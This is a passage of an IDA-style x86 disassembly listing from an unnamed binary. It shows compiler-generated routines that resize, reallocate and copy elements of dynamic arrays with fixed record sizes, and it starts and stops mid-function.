sub_41520F+61p arg_0 = dword ptr 8 push ebp mov ebp, esp push esi push edi mov edi, eax call sub_41560A mov esi, eax mov eax, edi call sub_4154C2 cmp eax, esi jnb short loc_415506 push [ebp+arg_0] push 1 push dword ptr [edi+8] push edi call sub_415665 mov [edi+8], eax jmp short loc_415517 ; --------------------------------------------------------------------------- loc_415506: ; CODE XREF: sub_4154DA+17j mov eax, [edi+8] push ebx push [ebp+arg_0] lea ebx, [ebp+arg_0] push eax call sub_415622 pop ebx loc_415517: ; CODE XREF: sub_4154DA+2Aj pop edi pop esi pop ebp retn 4 sub_4154DA endp ; =============== S U B R O U T I N E ======================================= sub_41551D proc near ; CODE XREF: sub_4152DF+2Ep arg_0 = dword ptr 4 push edi mov edi, [esp+4+arg_0] push edi push dword ptr [esi+8] lea edx, [edi+574h] call sub_415D2A add dword ptr [esi+8], 0FFFFFA8Ch pop ecx pop ecx mov [ebx], edi mov eax, ebx pop edi retn 4 sub_41551D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415542 proc near ; CODE XREF: sub_41520F+83p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ebx mov ebx, [ebp+arg_0] push esi push edi mov eax, ebx call sub_4156A2 mov esi, eax mov eax, ebx call sub_41568C cmp esi, eax push [ebp+arg_4] jnb short loc_415573 mov edi, [ebx+8] xor esi, esi push ebx inc esi call sub_4156F9 mov [ebx+8], eax jmp short loc_415582 ; --------------------------------------------------------------------------- loc_415573: ; CODE XREF: sub_415542+1Ej mov ebx, [ebx+8] mov edi, [ebp+arg_0] push ebx lea ebx, [ebp+arg_4] call sub_4156B8 loc_415582: ; CODE XREF: sub_415542+2Fj pop edi pop esi pop ebx pop ebp retn 8 sub_415542 endp ; =============== S U B R O U T I N E ======================================= sub_415589 proc near ; CODE XREF: sub_4152DF+4Bp arg_0 = dword ptr 4 push edi mov edi, [esp+4+arg_0] push edi push dword ptr [esi+8] lea eax, [edi+24h] call sub_415D41 add dword ptr [esi+8], 0FFFFFFDCh pop ecx pop ecx mov [ebx], edi mov eax, ebx pop edi retn 4 sub_415589 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4155A8 proc near ; CODE XREF: sub_41520F+9Ap arg_0 = dword ptr 8 push ebp mov ebp, esp push esi push edi mov edi, eax call sub_41572A mov esi, eax mov eax, edi call sub_415717 cmp esi, eax jnb short loc_4155D4 push [ebp+arg_0] push 1 push dword ptr [edi+8] push edi call sub_415776 mov [edi+8], eax jmp short loc_4155E5 ; --------------------------------------------------------------------------- loc_4155D4: ; CODE XREF: sub_4155A8+17j mov eax, [edi+8] push ebx push [ebp+arg_0] lea ebx, [ebp+arg_0] push eax call sub_41573D pop ebx loc_4155E5: ; CODE XREF: sub_4155A8+2Aj pop edi pop esi pop ebp retn 4 sub_4155A8 endp ; =============== S U B R O U T I N E ======================================= sub_4155EB proc near ; CODE XREF: sub_4152DF+60p arg_0 = dword ptr 4 push edi mov edi, [esp+4+arg_0] push edi push dword ptr [esi+8] lea eax, [edi+10h] call sub_415D58 add dword ptr [esi+8], 0FFFFFFF0h pop ecx pop ecx mov [ebx], edi mov eax, ebx pop edi retn 4 sub_4155EB endp ; =============== S U B R O U T I N E ======================================= sub_41560A proc near ; CODE XREF: sub_4154DA+7p ; sub_41579A+29p mov ecx, [eax+4] test ecx, ecx jnz short loc_415614 xor eax, eax retn ; --------------------------------------------------------------------------- loc_415614: ; CODE XREF: sub_41560A+5j mov eax, [eax+0Ch] sub eax, ecx cdq mov ecx, 574h idiv ecx retn sub_41560A endp ; =============== S U B R O U T I N E ======================================= sub_415622 proc near ; CODE XREF: sub_4154DA+37p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov eax, edi call sub_4154C2 test eax, eax jnz short loc_415632 xor esi, esi jmp short loc_415643 ; --------------------------------------------------------------------------- loc_415632: ; CODE XREF: sub_415622+Aj mov eax, [esp+4+arg_0] sub eax, [edi+4] mov ecx, 574h cdq idiv ecx mov esi, eax loc_415643: ; CODE XREF: sub_415622+Ej mov edx, [esp+4+arg_4] push 1 push [esp+8+arg_0] mov ecx, edi call sub_41579A imul esi, 574h add esi, [edi+4] mov eax, ebx mov [ebx], esi pop esi retn 8 sub_415622 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415665 proc near ; CODE XREF: sub_4154DA+22p ; sub_41579A+C0p ... arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push [ebp+arg_8] mov eax, [ebp+arg_8] push [ebp+arg_C] push [ebp+arg_4] call sub_415E8D mov eax, [ebp+arg_8] imul eax, 574h add esp, 0Ch add eax, [ebp+arg_4] pop ebp retn 10h sub_415665 endp ; =============== S U B R O U T I N E ======================================= sub_41568C proc near ; CODE XREF: sub_415542+14p ; sub_415989+21p mov ecx, [eax+4] test ecx, ecx jnz short loc_415696 xor eax, eax retn ; --------------------------------------------------------------------------- loc_415696: ; CODE XREF: sub_41568C+5j mov eax, [eax+0Ch] sub eax, ecx push 24h cdq pop ecx idiv ecx retn sub_41568C endp ; =============== S U B R O U T I N E ======================================= sub_4156A2 proc near ; CODE XREF: sub_415542+Bp ; sub_4156B8+3p ... mov ecx, [eax+4] test ecx, ecx jnz short loc_4156AC xor eax, eax retn ; --------------------------------------------------------------------------- loc_4156AC: ; CODE XREF: sub_4156A2+5j mov eax, [eax+8] sub eax, ecx push 24h cdq pop ecx idiv ecx retn sub_4156A2 endp ; =============== S U B R O U T I N E ======================================= sub_4156B8 proc near ; CODE XREF: sub_415542+3Bp arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov eax, edi call sub_4156A2 test eax, eax jnz short loc_4156C8 xor esi, esi jmp short loc_4156D7 ; --------------------------------------------------------------------------- loc_4156C8: ; CODE XREF: sub_4156B8+Aj mov eax, [esp+4+arg_0] sub eax, [edi+4] push 24h cdq pop ecx idiv ecx mov esi, eax loc_4156D7: ; CODE XREF: sub_4156B8+Ej mov edx, [esp+4+arg_4] push 1 push [esp+8+arg_0] mov ecx, edi call sub_415989 mov ecx, [edi+4] lea eax, [esi+esi*8] lea eax, [ecx+eax*4] mov [ebx], eax mov eax, ebx pop esi retn 8 sub_4156B8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4156F9 proc near ; CODE XREF: sub_415542+27p ; sub_415989+BEp ... arg_4 = dword ptr 0Ch push ebp mov ebp, esp push [ebp+arg_4] mov eax, esi push [ebp+arg_4] push edi call sub_415EB7 lea eax, [esi+esi*8] add esp, 0Ch lea eax, [edi+eax*4] pop ebp retn 8 sub_4156F9 endp ; =============== S U B R O U T I N E ======================================= sub_415717 proc near ; CODE XREF: sub_4155A8+10p ; sub_415B6E+20p mov ecx, [eax+4] test ecx, ecx jnz short loc_415721 xor eax, eax retn ; --------------------------------------------------------------------------- loc_415721: ; CODE XREF: sub_415717+5j mov eax, [eax+0Ch] sub eax, ecx sar eax, 4 retn sub_415717 endp ; =============== S U B R O U T I N E ======================================= sub_41572A proc near ; CODE XREF: sub_4155A8+7p ; sub_41573D+3p ... mov ecx, [eax+4] test ecx, ecx jnz short loc_415734 xor eax, eax retn ; --------------------------------------------------------------------------- loc_415734: ; CODE XREF: sub_41572A+5j mov eax, [eax+8] sub eax, ecx sar eax, 4 retn sub_41572A endp ; =============== S U B R O U T I N E ======================================= sub_41573D proc near ; CODE XREF: sub_4155A8+37p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov eax, edi call sub_41572A test eax, eax jnz short loc_41574D xor esi, esi jmp short loc_415757 ; --------------------------------------------------------------------------- loc_41574D: ; CODE XREF: sub_41573D+Aj mov esi, [esp+4+arg_0] sub esi, [edi+4] sar esi, 4 loc_415757: ; CODE XREF: sub_41573D+Ej mov edx, [esp+4+arg_4] push 1 push [esp+8+arg_0] mov ecx, edi call sub_415B6E shl esi, 4 add esi, [edi+4] mov eax, ebx mov [ebx], esi pop esi retn 8 sub_41573D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415776 proc near ; CODE XREF: sub_4155A8+22p ; sub_415B6E+B1p ... arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push [ebp+arg_8] mov eax, [ebp+arg_8] push [ebp+arg_C] push [ebp+arg_4] call sub_415EDC mov eax, [ebp+arg_8] shl eax, 4 add esp, 0Ch add eax, [ebp+arg_4] pop ebp retn 10h sub_415776 endp ; =============== S U B R O U T I N E ======================================= sub_41579A proc near ; CODE XREF: sub_415622+2Dp mov eax, offset loc_427BB6 call sub_41E550 sub esp, 578h push ebx push esi push edi mov ebx, ecx mov esi, edx mov ecx, 15Dh lea edi, [ebp-584h] mov eax, ebx mov [ebp-10h], esp rep movsd call sub_41560A mov esi, [ebp+0Ch] test esi, esi mov edi, eax jz loc_415978 mov eax, ebx call sub_4154C2 mov ecx, 2EF210h sub ecx, eax cmp ecx, esi jnb short loc_4157EC call sub_40C38F loc_4157EC: ; CODE XREF: sub_41579A+4Bj mov eax, ebx call sub_4154C2 add eax, esi cmp edi, eax jnb loc_4158CA mov eax, edi shr eax, 1 mov ecx, 2EF210h sub ecx, eax cmp ecx, edi jnb short loc_415810 xor edi, edi jmp short loc_415812 ; --------------------------------------------------------------------------- loc_415810: ; CODE XREF: sub_41579A+70j add edi, eax loc_415812: ; CODE XREF: sub_41579A+74j mov eax, ebx call sub_4154C2 add eax, esi cmp edi, eax jnb short loc_41582A mov eax, ebx call sub_4154C2 mov edi, eax add edi, esi loc_41582A: ; CODE XREF: sub_41579A+83j mov eax, edi imul eax, 574h push eax call sub_41BA91 and dword ptr [ebp-4], 0 push dword ptr [ebp+8] mov ecx, [ebx+4] push dword ptr [ebp+8] mov [ebp+0Ch], eax call sub_415F79 add esp, 0Ch lea ecx, [ebp-584h] push ecx push esi push eax push ebx call sub_415665 mov ecx, [ebx+8] push dword ptr [ebp+8] push ecx mov ecx, [ebp+8] call sub_415F79 pop ecx pop ecx mov eax, ebx call sub_4154C2 add esi, eax mov eax, [ebx+4] test eax, eax jz short loc_415897 mov ecx, [ebx+8] jmp short loc_41588A ; --------------------------------------------------------------------------- loc_415885: ; CODE XREF: sub_41579A+F2j add eax, 574h loc_41588A: ; CODE XREF: sub_41579A+E9j cmp eax, ecx jnz short loc_415885 push dword ptr [ebx+4] call sub_41C7B8 pop ecx loc_415897: ; CODE XREF: sub_41579A+E4j mov eax, [ebp+0Ch] imul edi, 574h imul esi, 574h add edi, eax add esi, eax mov [ebx+0Ch], edi mov [ebx+8], esi mov [ebx+4], eax jmp loc_415978 ; --------------------------------------------------------------------------- loc_4158B8: ; DATA XREF: .text:00431780o push dword ptr [ebp+0Ch] call sub_41C7B8 pop ecx loc_4158C1: ; DATA XREF: .text:00431790o push 0 push 0 call sub_41E4BE loc_4158CA: ; CODE XREF: sub_41579A+5Dj mov ecx, [ebx+8] mov eax, ecx sub eax, [ebp+8] mov edi, 574h cdq idiv edi push dword ptr [ebp+8] mov [ebp+0Ch], ecx push ecx cmp eax, esi jnb short loc_415940 mov edx, [ebp+8] mov edi, esi imul edi, 574h lea eax, [edi+edx] mov ecx, edx call sub_415F79 pop ecx mov dword ptr [ebp-4], 2 mov eax, [ebx+8] sub eax, [ebp+8] pop ecx lea ecx, [ebp-584h] push ecx cdq mov ecx, 574h idiv ecx sub esi, eax push esi push dword ptr [ebx+8] push ebx call sub_415665 add [ebx+8], edi mov ebx, [ebx+8] lea eax, [ebp-584h] push eax mov eax, [ebp+8] sub ebx, edi push ebx call sub_415D6F pop ecx pop ecx jmp short loc_415978 ; --------------------------------------------------------------------------- loc_415940: ; CODE XREF: sub_41579A+149j imul esi, 574h mov edi, ecx sub edi, esi mov eax, ecx mov ecx, edi call sub_415F79 push dword ptr [ebp+0Ch] mov [ebx+8], eax mov ebx, [ebp+8] push ebx mov edx, edi call sub_415D92 lea eax, [ebp-584h] push eax add esi, ebx push esi mov eax, ebx call sub_415D6F add esp, 18h loc_415978: ; CODE XREF: sub_41579A+35j ; sub_41579A+119j ... mov ecx, [ebp-0Ch] pop edi pop esi mov large fs:0, ecx pop ebx leave retn 8 sub_41579A endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_415989 proc near ; CODE XREF: sub_4156B8+2Bp mov eax, offset loc_427BAC call sub_41E550 sub esp, 30h push ebx push esi push edi mov [ebp-10h], esp mov ebx, ecx push 9 pop ecx mov esi, edx lea edi, [ebp-3Ch] mov eax, ebx rep movsd call sub_41568C mov esi, [ebp+0Ch] test esi, esi mov edi, eax jz loc_415B5D mov eax, ebx call sub_4156A2 mov ecx, 71C71C7h sub ecx, eax cmp ecx, esi jnb short loc_4159D3 call sub_40C38F loc_4159D3: ; CODE XREF: sub_415989+43j mov eax, ebx call sub_4156A2 add eax, esi cmp edi, eax jnb loc_415AB7 mov eax, edi shr eax, 1 mov ecx, 71C71C7h sub ecx, eax cmp ecx, edi jnb short loc_4159FC and dword ptr [ebp-14h], 0 mov edi, [ebp-14h] jmp short loc_415A01 ; --------------------------------------------------------------------------- loc_4159FC: ; CODE XREF: sub_415989+68j add edi, eax mov [ebp-14h], edi loc_415A01: ; CODE XREF: sub_415989+71j mov eax, ebx call sub_4156A2 add eax, esi cmp edi, eax jnb short loc_415A1C mov eax, ebx call sub_4156A2 add eax, esi mov [ebp-14h], eax mov edi, eax loc_415A1C: ; CODE XREF: sub_415989+83j lea eax, [edi+edi*8] shl eax, 2 push eax call sub_41BA91 and dword ptr [ebp-4], 0 push dword ptr [ebp+8] mov edx, [ebx+4] push dword ptr [ebp+8] mov [ebp-18h], eax call sub_415FA6 add esp, 0Ch lea ecx, [ebp-3Ch] push ecx push ebx mov edi, eax call sub_4156F9 mov ecx, [ebx+8] push dword ptr [ebp+8] mov edx, [ebp+8] push ecx call sub_415FA6 pop ecx pop ecx mov eax, ebx call sub_4156A2 mov esi, [ebp+0Ch] add esi, eax mov eax, [ebx+4] test eax, eax jz short loc_415A85 mov ecx, [ebx+8] jmp short loc_415A78 ; --------------------------------------------------------------------------- loc_415A75: ; CODE XREF: sub_415989+F1j add eax, 24h loc_415A78: ; CODE XREF: sub_415989+EAj cmp eax, ecx jnz short loc_415A75 push dword ptr [ebx+4] call sub_41C7B8 pop ecx loc_415A85: ; CODE XREF: sub_415989+E5j mov eax, [ebp-14h] lea ecx, [eax+eax*8] mov eax, [ebp-18h] lea ecx, [eax+ecx*4] mov [ebx+0Ch], ecx lea ecx, [esi+esi*8] lea ecx, [eax+ecx*4] mov [ebx+8], ecx mov [ebx+4], eax jmp loc_415B5D ; --------------------------------------------------------------------------- loc_415AA5: ; DATA XREF: .text:004316FCo push dword ptr [ebp-18h] call sub_41C7B8 pop ecx loc_415AAE: ; DATA XREF: .text:0043170Co push 0 push 0 call sub_41E4BE loc_415AB7: ; CODE XREF: sub_415989+55j mov eax, [ebx+8] mov edi, [ebp+8] mov [ebp+0Ch], eax sub eax, edi push 24h cdq pop ecx idiv ecx cmp eax, esi jnb short loc_415B24 push dword ptr [ebp+8] lea eax, [esi+esi*8] push dword ptr [ebp+0Ch] shl eax, 2 mov [ebp-18h], eax add eax, edi mov edx, edi call sub_415FA6 pop ecx pop ecx mov dword ptr [ebp-4], 2 mov ecx, [ebx+8] lea eax, [ebp-3Ch] push eax mov eax, ecx sub eax, edi push 24h pop edi cdq idiv edi push ebx mov edi, ecx sub esi, eax call sub_4156F9 mov eax, [ebp-18h] add [ebx+8], eax mov ebx, [ebx+8] lea ecx, [ebp-3Ch] sub ebx, eax mov eax, [ebp+8] push ecx push ebx call sub_415DA9 pop ecx pop ecx jmp short loc_415B5D ; --------------------------------------------------------------------------- loc_415B24: ; CODE XREF: sub_415989+141j mov eax, [ebp+0Ch] lea esi, [esi+esi*8] mov edx, eax shl esi, 2 sub edx, esi mov [ebp+8], edx push dword ptr [ebp+8] push eax call sub_415FA6 push dword ptr [ebp+0Ch] mov [ebx+8], eax mov eax, [ebp+8] push edi call sub_415DC8 lea eax, [ebp-3Ch] push eax add esi, edi push esi mov eax, edi call sub_415DA9 add esp, 18h loc_415B5D: ; CODE XREF: sub_415989+2Dj ; sub_415989+117j ... mov ecx, [ebp-0Ch] pop edi pop esi mov large fs:0, ecx pop ebx leave retn 8 sub_415989 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_415B6E proc near ; CODE XREF: sub_41573D+26p mov eax, offset loc_427BA2 call sub_41E550 sub esp, 14h push ebx push esi push edi mov esi, edx lea edi, [ebp-20h] movsd movsd movsd mov ebx, ecx mov eax, ebx mov [ebp-10h], esp movsd call sub_415717 mov esi, [ebp+0Ch] test esi, esi mov edi, eax jz loc_415D19 mov eax, ebx call sub_41572A mov ecx, 0FFFFFFFh sub ecx, eax cmp ecx, esi jnb short loc_415BB7 call sub_40C38F loc_415BB7: ; CODE XREF: sub_415B6E+42j mov eax, ebx call sub_41572A add eax, esi cmp edi, eax jnb loc_415C87 mov eax, edi shr eax, 1 mov ecx, 0FFFFFFFh sub ecx, eax cmp ecx, edi jnb short loc_415BDB xor edi, edi jmp short loc_415BDD ; --------------------------------------------------------------------------- loc_415BDB: ; CODE XREF: sub_415B6E+67j add edi, eax loc_415BDD: ; CODE XREF: sub_415B6E+6Bj mov eax, ebx call sub_41572A add eax, esi cmp edi, eax jnb short loc_415BF5 mov eax, ebx call sub_41572A mov edi, eax add edi, esi loc_415BF5: ; CODE XREF: sub_415B6E+7Aj mov eax, edi shl eax, 4 push eax call sub_41BA91 and dword ptr [ebp-4], 0 push dword ptr [ebp+8] mov ecx, [ebx+4] push dword ptr [ebp+8] mov [ebp+0Ch], eax call sub_415FCA add esp, 0Ch lea ecx, [ebp-20h] push ecx push esi push eax push ebx call sub_415776 mov ecx, [ebx+8] push dword ptr [ebp+8] push ecx mov ecx, [ebp+8] call sub_415FCA pop ecx pop ecx mov eax, ebx call sub_41572A add esi, eax mov eax, [ebx+4] test eax, eax jz short loc_415C5A mov ecx, [ebx+8] jmp short loc_415C4D ; --------------------------------------------------------------------------- loc_415C4A: ; CODE XREF: sub_415B6E+E1j add eax, 10h loc_415C4D: ; CODE XREF: sub_415B6E+DAj cmp eax, ecx jnz short loc_415C4A push dword ptr [ebx+4] call sub_41C7B8 pop ecx loc_415C5A: ; CODE XREF: sub_415B6E+D5j mov eax, [ebp+0Ch] shl edi, 4 add edi, eax shl esi, 4 add esi, eax mov [ebx+0Ch], edi mov [ebx+8], esi mov [ebx+4], eax jmp loc_415D19 ; --------------------------------------------------------------------------- loc_415C75: ; DATA XREF: .text:00431678o push dword ptr [ebp+0Ch] call sub_41C7B8 pop ecx loc_415C7E: ; DATA XREF: .text:00431688o push 0 push 0 call sub_41E4BE loc_415C87: ; CODE XREF: sub_415B6E+54j mov eax, [ebx+8] mov ecx, [ebp+8] push dword ptr [ebp+8] mov edx, eax sub edx, ecx sar edx, 4 cmp edx, esi mov [ebp+0Ch], eax push eax jnb short loc_415CE9 mov edi, esi shl edi, 4 lea edx, [edi+ecx] mov eax, edx call sub_415FCA pop ecx pop ecx mov dword ptr [ebp-4], 2 mov eax, [ebx+8] lea ecx, [ebp-20h] push ecx mov ecx, eax sub ecx, [ebp+8] sar ecx, 4 sub esi, ecx push esi push eax push ebx call sub_415776 add [ebx+8], edi mov ebx, [ebx+8] lea eax, [ebp-20h] push eax mov eax, [ebp+8] sub ebx, edi push ebx call sub_415DDF pop ecx pop ecx jmp short loc_415D19 ; --------------------------------------------------------------------------- loc_415CE9: ; CODE XREF: sub_415B6E+12Fj mov edi, eax shl esi, 4 sub edi, esi mov ecx, edi call sub_415FCA push dword ptr [ebp+0Ch] mov [ebx+8], eax mov ebx, [ebp+8] push ebx mov eax, edi call sub_415DFD lea eax, [ebp-20h] push eax add esi, ebx push esi mov eax, ebx call sub_415DDF add esp, 18h loc_415D19: ; CODE XREF: sub_415B6E+2Cj ; sub_415B6E+102j ... mov ecx, [ebp-0Ch] pop edi pop esi mov large fs:0, ecx pop ebx leave retn 8 sub_415B6E endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415D2A proc near ; CODE XREF: sub_41551D+Fp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push [ebp+var_4] push [ebp+arg_4] push [ebp+arg_0] call sub_415E14 add esp, 0Ch leave retn sub_415D2A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415D41 proc near ; CODE XREF: sub_415589+Cp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push [ebp+var_4] push [ebp+arg_4] push [ebp+arg_0] call sub_415E40 add esp, 0Ch leave retn sub_415D41 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415D58 proc near ; CODE XREF: sub_4155EB+Cp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push [ebp+var_4] push [ebp+arg_4] push [ebp+arg_0] call sub_415E67 add esp, 0Ch leave retn sub_415D58 endp ; =============== S U B R O U T I N E ======================================= sub_415D6F proc near ; CODE XREF: sub_41579A+19Dp ; sub_41579A+1D6p arg_0 = dword ptr 4 arg_4 = dword ptr 8 cmp eax, [esp+arg_0] jz short locret_415D91 push esi push edi loc_415D77: ; CODE XREF: sub_415D6F+1Ej mov esi, [esp+8+arg_4] mov edi, eax add eax, 574h cmp eax, [esp+8+arg_0] mov ecx, 15Dh rep movsd jnz short loc_415D77 pop edi pop esi locret_415D91: ; CODE XREF: sub_415D6F+4j retn sub_415D6F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415D92 proc near ; CODE XREF: sub_41579A+1C5p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push [ebp+var_4] push [ebp+arg_4] push [ebp+arg_0] call sub_415F00 add esp, 0Ch leave retn sub_415D92 endp ; =============== S U B R O U T I N E ======================================= sub_415DA9 proc near ; CODE XREF: sub_415989+192p ; sub_415989+1CCp arg_0 = dword ptr 4 arg_4 = dword ptr 8 cmp eax, [esp+arg_0] jz short locret_415DC7 push esi push edi loc_415DB1: ; CODE XREF: sub_415DA9+1Aj mov esi, [esp+8+arg_4] mov edi, eax push 9 add eax, 24h cmp eax, [esp+0Ch+arg_0] pop ecx rep movsd jnz short loc_415DB1 pop edi pop esi locret_415DC7: ; CODE XREF: sub_415DA9+4j retn sub_415DA9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415DC8 proc near ; CODE XREF: sub_415989+1BEp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push [ebp+var_4] push [ebp+arg_4] push [ebp+arg_0] call sub_415F2C add esp, 0Ch leave retn sub_415DC8 endp ; =============== S U B R O U T I N E ======================================= sub_415DDF proc near ; CODE XREF: sub_415B6E+172p ; sub_415B6E+1A3p arg_0 = dword ptr 4 arg_4 = dword ptr 8 cmp eax, [esp+arg_0] jz short locret_415DFC push esi push edi loc_415DE7: ; CODE XREF: sub_415DDF+19j mov esi, [esp+8+arg_4] mov edi, eax movsd movsd movsd add eax, 10h cmp eax, [esp+8+arg_0] movsd jnz short loc_415DE7 pop edi pop esi locret_415DFC: ; CODE XREF: sub_415DDF+4j retn sub_415DDF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415DFD proc near ; CODE XREF: sub_415B6E+195p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push [ebp+var_4] push [ebp+arg_4] push [ebp+arg_0] call sub_415F53 add esp, 0Ch leave retn sub_415DFD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415E14 proc near ; CODE XREF: sub_415D2A+Dp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp cmp edx, [ebp+arg_0] jz short loc_415E3B push esi mov eax, 574h push edi loc_415E23: ; CODE XREF: sub_415E14+23j mov edi, [ebp+arg_4] add [ebp+arg_4], eax mov esi, edx add edx, eax cmp edx, [ebp+arg_0] mov ecx, 15Dh rep movsd jnz short loc_415E23 pop edi pop esi loc_415E3B: ; CODE XREF: sub_415E14+6j mov eax, [ebp+arg_4] pop ebp retn sub_415E14 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415E40 proc near ; CODE XREF: sub_415D41+Dp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp cmp eax, [ebp+arg_0] jz short loc_415E62 push esi push edi loc_415E4A: ; CODE XREF: sub_415E40+1Ej mov edi, [ebp+arg_4] add [ebp+arg_4], 24h mov esi, eax push 9 add eax, 24h cmp eax, [ebp+arg_0] pop ecx rep movsd jnz short loc_415E4A pop edi pop esi loc_415E62: ; CODE XREF: sub_415E40+6j mov eax, [ebp+arg_4] pop ebp retn sub_415E40 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415E67 proc near ; CODE XREF: sub_415D58+Dp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp cmp eax, [ebp+arg_0] jz short loc_415E88 push esi push edi loc_415E71: ; CODE XREF: sub_415E67+1Dj mov edi, [ebp+arg_4] add [ebp+arg_4], 10h mov esi, eax movsd movsd movsd add eax, 10h cmp eax, [ebp+arg_0] movsd jnz short loc_415E71 pop edi pop esi loc_415E88: ; CODE XREF: sub_415E67+6j mov eax, [ebp+arg_4] pop ebp retn sub_415E67 endp ; =============== S U B R O U T I N E ======================================= sub_415E8D proc near ; CODE XREF: sub_415665+Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 test eax, eax jbe short locret_415EB6 push esi push edi loc_415E93: ; CODE XREF: sub_415E8D+25j cmp [esp+8+arg_0], 0 jz short loc_415EA9 mov esi, [esp+8+arg_4] mov edi, [esp+8+arg_0] mov ecx, 15Dh rep movsd loc_415EA9: ; CODE XREF: sub_415E8D+Bj add [esp+8+arg_0], 574h dec eax jnz short loc_415E93 pop edi pop esi locret_415EB6: ; CODE XREF: sub_415E8D+2j retn sub_415E8D endp ; =============== S U B R O U T I N E ======================================= sub_415EB7 proc near ; CODE XREF: sub_4156F9+Cp arg_0 = dword ptr 4 arg_4 = dword ptr 8 test eax, eax jbe short locret_415EDB push esi push edi loc_415EBD: ; CODE XREF: sub_415EB7+20j cmp [esp+8+arg_0], 0 jz short loc_415ED1 mov esi, [esp+8+arg_4] mov edi, [esp+8+arg_0] push 9 pop ecx rep movsd loc_415ED1: ; CODE XREF: sub_415EB7+Bj add [esp+8+arg_0], 24h dec eax jnz short loc_415EBD pop edi pop esi locret_415EDB: ; CODE XREF: sub_415EB7+2j retn sub_415EB7 endp ; =============== S U B R O U T I N E ======================================= sub_415EDC proc near ; CODE XREF: sub_415776+Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 test eax, eax jbe short locret_415EFF push esi push edi loc_415EE2: ; CODE XREF: sub_415EDC+1Fj cmp [esp+8+arg_0], 0 jz short loc_415EF5 mov esi, [esp+8+arg_4] mov edi, [esp+8+arg_0] movsd movsd movsd movsd loc_415EF5: ; CODE XREF: sub_415EDC+Bj add [esp+8+arg_0], 10h dec eax jnz short loc_415EE2 pop edi pop esi locret_415EFF: ; CODE XREF: sub_415EDC+2j retn sub_415EDC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415F00 proc near ; CODE XREF: sub_415D92+Dp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp cmp [ebp+arg_0], edx jz short loc_415F27 push esi mov eax, 574h push edi loc_415F0F: ; CODE XREF: sub_415F00+23j sub [ebp+arg_4], eax mov edi, [ebp+arg_4] sub edx, eax cmp edx, [ebp+arg_0] mov ecx, 15Dh mov esi, edx rep movsd jnz short loc_415F0F pop edi pop esi loc_415F27: ; CODE XREF: sub_415F00+6j mov eax, [ebp+arg_4] pop ebp retn sub_415F00 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415F2C proc near ; CODE XREF: sub_415DC8+Dp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp cmp [ebp+arg_0], eax jz short loc_415F4E push esi push edi loc_415F36: ; CODE XREF: sub_415F2C+1Ej sub [ebp+arg_4], 24h mov edi, [ebp+arg_4] sub eax, 24h cmp eax, [ebp+arg_0] push 9 pop ecx mov esi, eax rep movsd jnz short loc_415F36 pop edi pop esi loc_415F4E: ; CODE XREF: sub_415F2C+6j mov eax, [ebp+arg_4] pop ebp retn sub_415F2C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415F53 proc near ; CODE XREF: sub_415DFD+Dp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp cmp [ebp+arg_0], eax jz short loc_415F74 push esi push edi loc_415F5D: ; CODE XREF: sub_415F53+1Dj sub [ebp+arg_4], 10h mov edi, [ebp+arg_4] sub eax, 10h cmp eax, [ebp+arg_0] mov esi, eax movsd movsd movsd movsd jnz short loc_415F5D pop edi pop esi loc_415F74: ; CODE XREF: sub_415F53+6j mov eax, [ebp+arg_4] pop ebp retn sub_415F53 endp ; =============== S U B R O U T I N E ======================================= sub_415F79 proc near ; CODE XREF: sub_41579A+AEp ; sub_41579A+CFp ... arg_0 = dword ptr 4 push ebx mov ebx, ecx cmp ebx, [esp+4+arg_0] jz short loc_415FA4 push esi 